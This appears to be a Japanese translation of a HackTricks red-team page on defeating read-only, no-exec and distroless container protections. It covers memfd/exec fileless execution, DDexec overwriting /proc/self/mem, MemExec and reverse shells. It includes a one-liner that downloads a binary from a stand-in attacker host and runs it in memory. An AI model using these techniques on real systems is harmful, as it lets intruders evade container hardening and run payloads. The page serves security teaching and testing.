hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless
2024-02-08 03:59:37 +00:00
..
ddexec.md Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge 2024-02-08 03:59:37 +00:00
README.md Translated ['generic-methodologies-and-resources/search-exploits.md', 'l 2024-02-06 14:28:17 +00:00

ファイルシステム保護のバイパス: 読み取り専用 / 実行不可 / Distroless

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

動画

以下の動画では、このページで言及されているテクニックについてより詳しく説明されています:

読み取り専用 / 実行不可シナリオ

Linuxマシンで読み取り専用roファイルシステム保護がより一般的になってきていますが、特にコンテナでは、securitycontextで**readOnlyRootFilesystem: true**を設定するだけで簡単にroファイルシステムでコンテナを実行できます:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

しかし、ファイルシステムがroとしてマウントされていても、/dev/shmは書き込み可能なままであるため、ディスクに書き込むことができないかのように見えます。ただし、このフォルダは実行不可保護でマウントされているため、ここにバイナリをダウンロードしても実行できません

{% hint style="warning" %} レッドチームの観点からすると、これにより、システムにすでに存在しない(kubectlのような)バックドアや列挙子のようなバイナリをダウンロードして実行するのが複雑になります。 {% endhint %}

最も簡単なバイパス: スクリプト

バイナリと言及しましたが、インタプリタがマシン内にある限り、シェルスクリプトshが存在する場合)やPythonスクリプトpythonがインストールされている場合)など、任意のスクリプトを実行できます。

ただし、これだけでは、バイナリバックドアや他の実行する必要があるバイナリツールを実行するのに十分ではありません。

メモリバイパス

ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、メモリから実行するのが最善の方法です。なぜなら、その保護はそこには適用されないからです。

FD + execシスコールバイパス

PythonPerlRubyなどの強力なスクリプトエンジンがマシン内にある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(create_memfdシスコール)、これらの保護によって保護されないため、fdをファイルとして実行するという**execシスコール**を呼び出すことができます。

これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、バイナリが圧縮されb64エンコードされたスクリプトが生成され、create_memfdシスコールを呼び出して作成されたfdデコードおよび解凍する命令と、それを実行するexecシスコールの呼び出しが含まれます。

{% hint style="warning" %} これは、PHPやNodeなどの他のスクリプト言語では機能しないため、スクリプトから生のシスコールを呼び出すデフォルトの方法がないため、create_memfdを呼び出してバイナリを保存するメモリfdを作成することはできません。

さらに、/dev/shm内のファイルで通常のfdを作成しても、実行不可保護が適用されるため、実行できません。 {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExecは、**/proc/self/mem**を上書きすることで、自分自身のプロセスのメモリを変更する技術であります。

したがって、プロセスによって実行されているアセンブリコードを制御することで、シェルコードを書き込み、プロセスを任意のコードを実行するように「変異」させることができます。

{% hint style="success" %} DDexec / EverythingExecを使用すると、自分自身のメモリから自分自身のシェルコードまたは任意のバイナリロードして実行できます。 {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

MemexecはDDexecの自然な次のステップです。これはDDexecシェルコードをデーモン化したもので、異なるバイナリを実行したいときには、DDexecを再起動する必要はありません。代わりに、DDexec技術を使用してmemexecシェルコードを実行し、このデーモンと通信して新しいバイナリをロードして実行できます。

memexecを使用してPHPリバースシェルからバイナリを実行する例は、https://github.com/arget13/memexec/blob/main/a.phpで見つけることができます。

Memdlopen

DDexecと同様の目的を持つmemdlopen技術は、メモリにバイナリをロードして後で実行するための簡単な方法を提供します。これにより、依存関係を持つバイナリをロードすることさえ可能になります。

Distroless Bypass

Distrolessとは

Distrolessコンテナには、ライブラリやランタイム依存関係など、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネントだけが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは除外されています。

Distrolessコンテナの目標は、不要なコンポーネントを排除し、悪用される可能性のある脆弱性の数を最小限に抑えることで、コンテナの攻撃面を縮小することです。

リバースシェル

Distrolessコンテナでは、通常のシェルを取得するためのshbashなどが見つからないかもしれません。lswhoamiidなどのバイナリも見つかりません。これらは通常、システムで実行するものです。

{% hint style="warning" %} したがって、通常どおりにリバースシェルを取得したり、システムを列挙することはできません。 {% endhint %}

ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされているため、Pythonリバースシェルを取得できます。Nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどのスクリプト言語でも同様です。

{% hint style="success" %} スクリプト言語を使用すると、言語の機能を使用してシステムを列挙できます。 {% endhint %}

read-only/no-execの保護がない場合、リバースシェルを悪用してファイルシステムにバイナリを書き込み、それらを実行することができます。

{% hint style="success" %} ただし、この種のコンテナでは通常、これらの保護が存在しますが、以前のメモリ実行技術を使用してそれらをバイパスすることができます。 {% endhint %}

RCE脆弱性を悪用してスクリプト言語のリバースシェルを取得し、https://github.com/carlospolop/DistrolessRCEでメモリからバイナリを実行する方法のを見つけることができます。